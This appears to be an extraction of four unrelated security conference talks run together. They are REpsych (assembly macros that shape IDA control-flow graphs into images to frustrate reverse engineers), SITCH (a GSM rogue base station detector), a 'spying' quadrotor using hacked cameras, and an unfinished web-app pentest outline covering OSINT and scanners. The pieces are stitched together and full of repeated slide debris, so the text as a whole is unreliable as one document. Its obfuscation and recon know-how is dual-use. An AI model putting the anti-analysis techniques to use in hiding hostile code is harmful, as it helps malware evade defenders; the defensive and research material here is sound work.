left_side:
nop
… ; repeat
jmp bottom_left
right_side:
nop
… ; repeat
jmp bottom_right
bottom:
botton_left:
jmp bottom_end
… ; repeat
bottom_right:
bottom_end:
ret
IDA tries to align blocks in a given row
Observation
top:
jmp left
jmp top_end
… ; repeat
jmp right_side
top_end:
jmp $
left_side:
jmp $+2
… ; repeat
jmp bottom_left
right_side:
jmp $+2
… ; repeat
jmp bottom_right
bottom:
botton_left:
jmp bottom_end
… ; repeat
bottom_right:
bottom_end:
ret
IDA tries to keep rows/columns together
But minimize branching distance
Observation
Hour of tinkering
Couldn’t make it work
Try something else
Separating the columns
We have some control over how rows are
arranged
Depends on nodes between
IDA has all the control over columns
Can rearrange parent nodes and branches to keep
columns close together
R.I.P. Idea 1
Force IDA to keep things in order
Tie nodes together as tightly as possible
Prevent rearranging
Idea 2
A node
A tightly woven CFG
x:
a0: je b1
b0: je c1
c0: je d1
d0: jmp F
a1: je b2
b1: je c2
c1: je d2
d1: jmp F
a2: je b3
b2: je c3
c2: je d3
d2: jmp F
a3:
b3:
c3:
d3: jmp F
F:
%macro column 3-4 "nonempty"
%assign r 0
%assign c %1
%rep %2-1
%assign nr r+1
%assign nc c+1
e_%+r%+_%+c:
%ifidn %4, "empty"
%else
je e_%+nr%+_%+nc
%endif
%assign r r+1
%endrep
e_%+r%+_%+c: jmp %3
%endmacro
“Weave” the CFG together
Turn “pixel” off by removing node?
Idea 2, continued
A tightly woven CFG
A tightly woven CFG
A tightly woven CFG, II
x:
e_0_0: je e_1_1
jmp done
e_0_1: je e_2_1
e_1_0: je e_2_1
jmp done
e_0_2: je e_1_3
e_1_1: je e_2_2
e_2_0: je e_3_1
jmp done
e_0_3: je done
e_1_2: je e_2_3
e_2_1: je e_3_2
e_3_0: jmp done
e_1_3: je done
e_2_2: je e_3_3
e_3_1: jmp done
e_2_3: je done
e_3_2: jmp done
e_3_3: jmp done
done:
ret
; e_0_0 e_0_1 e_0_2 e_0_3
; e_1_0 e_1_1 e_1_2 e_1_3
; e_2_0 e_2_1 e_2_2 e_2_3
; e_3_0 e_3_1 e_3_2 e_3_3
; row, column, width, height, done
%macro diag 5
%assign r %1
%assign c %2
%assign width %3
%assign height %4
%rep 256 ; max size
%assign nr r+1
%assign nc c+1
e_%+r%+_%+c:
%if nr >= height
%elif nc >= width
je e_%+nr%+_%+c
%else
%if c == 0
jmp e_%+nr%+_%+nc
%exitrep
%else
je e_%+nr%+_%+nc
%endif
%endif
%assign r r+1
%assign c c-1
%if r>=width
jmp %5
%exitrep
%endif
%endrep
%endmacro
We still can’t remove a node
R.I.P. Idea 2
Leave all nodes
Fill with code if “on”
Leave empty if “off”
Idea 3
“Empty” pixel still needs 2 lines
Increase contrast by reducing impact of those 2
Reduce impact by increasing height
Increase height by increasing width
vfmaddsub132ps xmm0, xmm1, xmmword ptr cs:[edi+esi*4+8068860h]
Enhance contrast
Insert always on column
Almost there
Add a junk code generator
Almost there
movzx eax, bh
movzx ecx, dh
dec ecx
xor ebx, ecx
lea ebx, [ebp+1*4]
mov eax, 3526025642
or eax, 188401817
mov ah, 4
lea eax, [ecx+4*edx]
test edx, eax
mov cl, 2
add ebx, ecx
shr eax, 21
movzx ecx, dl
add ebx, ecx
shr eax, 25
mov ah, 4
test edx, eax
shr ecx, 19
movzx eax, bh
or eax, 2742937504
mov ah, 4
and edx, eax
BMP to %assign converter
Almost there
%assign pixel_13_5 1
%assign pixel_14_5 1
%assign pixel_15_5 0
%assign pixel_16_5 1
%assign pixel_17_5 0
%assign pixel_18_5 1
%assign pixel_19_5 1
%assign pixel_20_5 0
%assign pixel_21_5 1
%assign pixel_22_5 0
%assign pixel_23_5 0
%assign pixel_24_5 0
%assign pixel_25_5 1
%assign pixel_0_6 1
%assign pixel_1_6 1
%assign pixel_2_6 1
%assign pixel_3_6 1
%assign pixel_4_6 1
%assign pixel_5_6 1
%assign pixel_6_6 1
%assign pixel_7_6 1
REpsych Toolchain
Generates assembly …
… to form images through CFGs
(Demo)
REpsych
Reverser is forced to sit and stare at
whatever message you embed
Use it to your advantage, crush their soul
Psychological Warfare
(Draw an assembly selfie)
Grayscale
Stego
the_interview.exe
More ideas
QR
a.k.a. the ultimate CTF problem
More ideas
Creepiest malware ever
Scans your hard disk
Rewrites itself to match your personal images
(Demo)
More ideas
14 lines of assembly
328 lines of preprocessor macros
github.com/xoreaxeaxeax
REpysch
M/o/Vfuscator 2.0
x86 0-day POC
Etc.
Feedback?
domas
@xoreaxeaxeax
[email protected] | pdf |
SITCH
Inexpensive, coordinated GSM anomaly detection
About Me
• 2000: Technology career started (I can get paid for
this??)
• 2003: Started building with Linux
• Came to infosec through systems and network
engineering, integration
• Security tools and integration (SIEM, HIDS, etc…)
• Current: R&D
About You
• Background in systems and network engineering
• Interested in GSM threat detection
• Tinfoil hat not required… but not unwelcome!
–Ashmastaflash
“Thoughts and opinions expressed are my
own. If you take anything away from this talk
and act on it, I’m not responsible if you go to
jail, become a pariah, or your dog stops liking
you. Know the laws you’re subject to and
operate accordingly.”
What We’re Covering Today
• Why Care?
• Current Threat and Detection Landscape
• Project Goals
• SITCH: MkI
• SITCH: MkII
• Service Architecture
• Future Plans
• Prior Art
• Q&A
Why Care?
• Invasions of privacy are bad, even when
they’re unnoticed.
• Industrial espionage costs money and jobs.
WTF Is Under All That??
Is Anybody Home?
Terminology
• Software Defined Radio (SDR): Using software to perform signal
processing in concert with an adjustable-frequency RF receiver
• ARFCN: Absolute Radio Frequency Channel Number
• BTS: Base Transceiver Station
• CGI: Cell Global ID (MCC + MNC + LAC + CI)
• MCC: Mobile Country Code
• MNC: Mobile Network Code
• LAC: Location Area Code
• CI: Cell ID
• IMSI: International Mobile Subscriber Identity
GSM Addressing
Threat and Detection Landscape
• Malicious Devices
• Indicators of Attack
• Existing Detection Methods
Hacked
Femtocell
Trusted part of provider’s
network
Your phone doesn’t know
it’s evil
Evil BTS
Handset will automatically
associate, unable to
assert trustworthiness
Indicators of Attack
• ARFCN over threshold
• ARFCN outside forecast
• Unrecognized CGI
• Gratuitous BTS re-association
• BTS detected outside of range
Detection Methods
• Commercial Options:
• Pwnie Express
• Bastille Networks
• Open Source:
• Fake BTS
• AIMSICD
• Femto Catcher
Project Goals
• Inexpensive (what can I get for $100?)
• Small footprint, low power requirements
preferred
• Functional Targets: Indicators of Attack (IOA)
Coverage
• Centrally managed software and
configuration
Raspberry Pi 2
Raspberry Pi 2
logarithmic antenna
Raspberry Pi 2
logarithmic antenna
Odroids
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
GREEN
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
GREEN
ORANGE
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
GREEN
ORANGE
Intel NUC
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
GREEN
ORANGE
Intel NUC
Intel Edison
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
GREEN
ORANGE
Intel NUC
Intel Edison
GSM Modem
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
GREEN
ORANGE
Intel NUC
Intel Edison
GSM Modem
RTL-SDR
Raspberry Pi 2
logarithmic antenna
Odroids
C1+
XU4
galaxy of
RED
BLUE
GREEN
ORANGE
Intel NUC
Intel Edison
GSM Modem
RTL-SDR
I didn’t really *need* all
of this…
SITCH
Situational Information from Telemetry and Correlated Heuristics
SITCH Sensor MkI
SITCH Sensor MkI
MkI Results
Targets
MkI Coverage
ARFCN over threshold
YES
ARFCN outside of forecast
YES
Unrecognized CGI
NO
Gratuitous BTS re-association
NO
BTS detected outside of range
NO
Price
~$100
Releasing
MkI?
No.
What’s wrong with MkI?
Start Demo Here!
• Confirm device registration
• Image download starts
Deployment Pipeline
Service-Side Software
Tool
Purpose
Logstash
Inbound Information Processing
Alert delivery
Elasticsearch
Scan document retention
Carbon/Graphite
Time-series database
Statistical analysis of time-series data
Kibana
Browse scans
Tessera
Dashboard for Graphite
Graphite Beacon
Alert Generation
Vault
Secret management
Resin
Software Deployment
Slack
Notifications
SITCH Service Architecture
SITCH Intelligence Feed
• OpenCellID Database:
• MCC, MNC, Lat, Lon,
Range
• Twilio:
• MCC, MNC, CarrierName
SITCH Sensor MkII
SITCH Sensor MkII
SITCH Sensor MkII
SITCH Sensor MkII
SITCH Sensor MkII
SITCH Sensor MkII
Return to Demo!
• Slack alerts
• Tessera graphs
• Kibana scan search
• Resin logs
MkI, MkII Summary
Targets
MkI Coverage
MkII Coverage
ARFCN over threshold
YES
YES
ARFCN outside of forecast
YES
YES
Unrecognized CGI
NO
YES
Gratuitous BTS re-
association
NO
YES
BTS detected outside of
range
NO
YES
Price
~$100
~$150
Going Forward
• Automatic device detection
• Device and service heartbeats
• Gnuradio = pure SDR:
• GR-GSM
• ADS-B
• FPV drone
• Dedicated radios:
• Ubertooth One
• YARD Stick One
Prior Art
• DIY Cellular IDS (Davidoff, Fretheim, Harrison, & Price,
Defcon 21)
• Traffic Interception and Remote Mobile Phone Cloning with
a Compromised Femtocell (DePerry, Ritter, & Rahimi,
Defcon 21)
• Introduction to SDR and the Wireless Village (DaKahuna &
Satanklawz, Defcon 23)
• http://fakebts.com - Fake BTS Project (Cabrera, 2014)
• How to Build Your Own Rogue GSM BTS for Fun and Profit
(Simone Margaritelli)
• Gnuradio (many)
• Gr-gsm (Krysik, et al.)
• Kalibrate (thre.at)
THANKS!
• John Menerick
• Gillis Jones
• Christian Wright
• Dave Doolin
• Silent Contributors…
Q&A
#OMW2 Scan Your GSM | pdf |
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
A low cost spying quadrotor for global security
applications using hacked digital cameras
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
DEFCON 17
http://fauconnoir.esiea.fr
www.esiea-recherche.eu
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Warning
We apologies, but this is a first draft of our presentation slides.
Look up for the last version on DEFCON’s and faucon noir’s
website :
www.defcon.org
http ://fauconnoir.esiea.fr
www.esiea-recherche.eu
Thanks for reading us,
Faucon Noir team.
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Summary
1
Introduction
2
Flight of the Bumblebee
3
With bird eyes
4
Taming of the camera
5
Views from up-there
6
Flight Demo
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Summary
1
Introduction
Who the heck are we ?
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Who the heck are we ?
Student team
From October 2007 to June 2009
Engineering grad school students & PhD student
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Who the heck are we ?
Development & Research laboratory
Signal and Image Processing dept. ATIS,
one of ESIEA engineering school’s labs.
Universit´e Paris-Est : PhD funding
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Summary
2
Flight of the Bumblebee
Take-off of the project
Basic Control
Advanced Control
Ground station
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Take-off of the project
What is a quadrotor ?
a rigid structure
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Take-off of the project
What is a quadrotor ?
a rigid structure
several rotors
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Take-off of the project
Video : First fly
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Take-off of the project
Not so simple
A quadrotor without smart electronic to control attitude goes
nowhere but in the wall !
Let the Flight Assistant do the hard work.
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Basic Control
Video : stabilization algorithm
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Basic Control
Agility
Good flight dynamics
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Basic Control
Limits
Need at least an experimented R/C pilot
Sensitive to wind
Lot of altitude variation
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Advanced Control
Advanced Control
What if anyone could fly it ?
Complete X,Y,Z control
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Advanced Control
Need for sensors
GPS sensor, pressure sensor, ultrasonic ranger system
Data fusion
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Advanced Control
Work in progress
For the moment : only Z control, sensitive to wind
Promising results
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Ground station
Ground station
Critical parameters monitoring
Security checklist
PID coefficients setup
Signal power monitoring
Battery monitoring
Status of every chip
Real-time position and attitude
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Ground station
Communications
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Summary
3
With bird eyes
One for fun
Two for stereo
Three for headaches
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
One for fun
One for fun
Look at it when it flies...
... or see from its eyes
Lots of experiment before success
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
One for fun
Tests conclusions
Keep it simple, stupid
Use integrated systems when possible
Cameras are very sensitive to high frequency vibrations
Give useful information about what is happening on the
quadrotor
Nice movies for recreation or exploration
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Two for stereo
Two for stereo
Two eyes, two camera, two point of view
Difference between the two images give the depth
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Two for stereo
Perspectives
Produced images given to a PhD student.
Waiting for experience return
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Three for headaches
Three for headaches
He who can do more...
Need for simultaneous vertical and side views of scenes
Mosaics
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Three for headaches
Mosaics
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Summary
4
Taming of the camera
On-the-shelf benefits & drawbacks
Slash & Hack
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
On-the-shelf benefits & drawbacks
On-the-shelf benefits & drawbacks
Professional optical system w. stabilizer
Included storage & battery
Big & Heavy
Made for human eyes and fingers
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Slash & Hack
Slash & Hack
Reduce weight to the minimum
Effective remote control
Precise time-stamp for each picture
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Slash & Hack
Slimming diet
Weight out of the box : 145 g (5,1 oz)
Remove everything it doesn’t need
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Slash & Hack
Pull the trigger
More and more electronics in theses systems
Talking the same ”Logic”
TTL (Transistor-Transistor Logic) 3.3V
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Slash & Hack
Hacking’s conclusion
Full control of digital camera
Automatic trigger pulling
Precise picture time-stamp (20 ms)
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Summary
5
Views from up-there
French Navy Academy
Challenge Minidrones contest
Natural History Museum
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
French Navy Academy
French Navy Academy
July 2008
Presentation of the flying capacity of the quadrotor in front of
navy students
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
French Navy Academy
Illustration
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Challenge Minidrones contest
Challenge Minidrones contest
Started in winter 2007, final in May 2009
Funded by French Aerospatial institute (ONERA) and French
Army Headquarter (DGA)
Third rank on thirteen teams
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Challenge Minidrones contest
Illustration
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Natural History Museum
Natural History Museum
June 2009
Field test in Fontainebleau forest to validate simultaneous
acquisition of pictures
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Natural History Museum
Illustration
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Summary
6
Flight Demo
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Flight Demo
We hope will we be able to bring our quadrotor through the
US customs
In this case, we will be glad to provide you with a flight demo
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras
Introduction
Flight of the Bumblebee
With bird eyes
Taming of the camera
Views from up-there
Flight Demo
Thanks
We thank you for your attention
A. Gademer, C. Ch´eron, S. Monat, F. Mainfroy, L. Beaudoin
ESIEA Paris / Universit´e Paris-Est (France)
A low cost spying quadrotor for global security applications using hacked digital cameras | pdf |
"Hacking Web Apps"
– Brent White / @brentwdesign
Abstract:
Understanding how to exploit vulnerabilities within a web application is beneficial to both
breakers and fixers. It is a core skill for penetration testers, and it provides significant insight into
secure coding practices for developers.
This talk covers all aspects of executing a web application penetration test. We will start with the
discovery phase utilizing OSINT sources; such as, search engines, sub-domain brute-forcing and
other methods to help you get a good idea of target’s "footprint", all the way to fuzzing
parameters to find potential SQL injection vulnerabilities. I will also discuss several of the tools
and techniques that I commonly use. After this talk, you should have a good understanding of
what is needed to break into web applications like a professional.
Detailed Outline:
Before you can start tearing into a web application for a customer, there are a few things that need
to happen. There are rules and goals that need to be established for the assessment. This generally
happens during the scoping and kick-off discussions. Since scoping and contracts make me
sleepy, I will omit the details. The kick-off call is where the rubber starts hitting the road, and
exists to bridge the gap between the legal contract and the final report using the Rules of
Engagement document, also known as the RoE. The RoE answers the questions of who, when
and what and identifies the boundaries between what is and is not allowed during the actual
assessment. After the contents of this document have been agreed upon, you are good to go on
executing the assessment.
=== Evidence Gathering ===
At the end of every assessment, a report is expected. The more evidence you collect and the better
it’s organized can really help shorten the time it takes to write the report as well as improve upon
the value of it.
Before I start anything, I set up documents to keep evidence, notes and progress.
Here are a few tips:
•
KeepNote is my program of choice. ("Dradis" is another popular choice in Kali.)
o Available for Linux, Windows and Mac.
o Allows you to paste screenshots, create multiple embedded pages and folders.
o I'll group things based on vulnerability: Folder named "Default Server Pages"
and each page will be the host & port.
o I'll also color-code the folder based on risk-rating. (personal preference)
o Allows for easy exporting of the KeepNote notebook as .html files & easy
copy/paste into your program of choice while report writing.
•
Document the HTTP GET Request and Response for each vulnerability.
•
Document any unscheduled downtime.
•
Document changes in test data.
o Creation of additional accounts, passwords, or client-provided data.
o Intentional or inadvertent modification of any static data resource.
o Log all monetary transactions.
•
Do not share screenshots or data/specifics of a great "hack" or "idiotic" vulnerability
online.
•
Make sure to get relevant, legible screenshots of the vulnerability.
•
Call out or highlight the specific payload during the write-up, so the client can see exactly
what was sent. Don't just leave it as URL or Base_64 encoded, etc...
•
List all known affected pages and parameters for a vulnerability. Not just the one sample
that shows the vuln, but everything else you found.
•
Have a methodology and checklist to go by so that you're not forgetting or missing
something during each assessment. OWASP has a good methodology and checklist.
=== Discovery / OSINT ===
I like to start my assessments by utilizing the power of "Open-Source Intelligence" (OSINT) to
see what information I can find about the web application that others might already know.
Here are just a few OSINT resources and tools:
•
Search engines, Pastebin, ShodanHQ, etc... for anything related to the application.
o This is a manual and time-consuming process, but not one to be ignored!
o You're looking for anything related to that application // emails, logins, dev help
forums.
o Any leaked creds, known previous hacks?
o Sites like urlvoid.com to check for known active malware/threats for the domain.
o I have found DB-type, schemes and test credentials through old development-
help forums that were STILL valid!
•
"Discover" by Lee Baird
o Active/Passive scanning for domains, people, domain-squatting, black-listed
DNS reporting.
o Integrates many tools such as dnsrecon, theharvester, goofile, goog-mail,
goohost, can start a Metasploit listener, parse XML and more.
•
"The Harvester" by Christian Martorella / Edge-Security Research
o Scrapes data from Bing, Google, Google Profiles, Ask, Jigsaw, LinkedIn, and
Yahoo.
== Automated Scanning (Low-hanging fruit) ==
"Why do you run automated tools? You're supposed to be a hacker." Good question. Automated
tools are a God-send as consultants usually have a very limited time to complete the project. They
are very helpful at covering a wide range of tests and content discovery in a very short
amount of time. However, You can't just run automated scanners and spit out a report.
That's just a vulnerability scan, and a piss poor one at that. Even though the scanners help, they
don't contain the human element of manual testing and can't find everything. You can't just rely
on the scanner, but it's a great addition to the assessment.
Here is a list of automated scanners that I like to use:
•
Nessus
o Looks at the host and web app. Covers everything from SSL/TLS layer, content
discovery, basic CGI vulns and more.
•
IBM App Scan
o More web app focused for things such as SQL/LDAP injections, CSRF and XSS,
etc...
•
BurpSuite Pro
o Built-in "Active" scanner, content spider and content discovery brute-forcer
tools.
o Tools for fuzzing parameters, crafting requests and much more.
o Extensions available such as CSRF Scanner, XSS Validator and more.
•
Nikto
o Great for finding default pages, logins, known vulnerable scripts, CGI testing and
more. Nikto is actually built in to Nessus, but can add a great deal of time to the
Nessus scan if enabled, especially if there are multiple applications and hosts
being scanned at the same time.
o I prefer to un this separately, outside of Nessus. It gives me more control.
•
WPScan (for WordPress sites)
o Identifies known vulnerabilities in WordPress, enumerates themes and plug-ins
and can also enumerate usernames.
o Also other content-management system scanners out there for Joomla, Drupal
and more.
•
"DirBuster" by OWASP for directory and file discovery
o I also load lists into BurpSuite Pro for discovery.
o BurpSuite Pro also has a "Discover Content" and "Content Spidering" options to
find linked content as well as brute-force content discovery.
•
There are many more pre-installed options in Kali. Find them at: Kali Linux > Web
Applications > Web Vulnerability Scanners
•
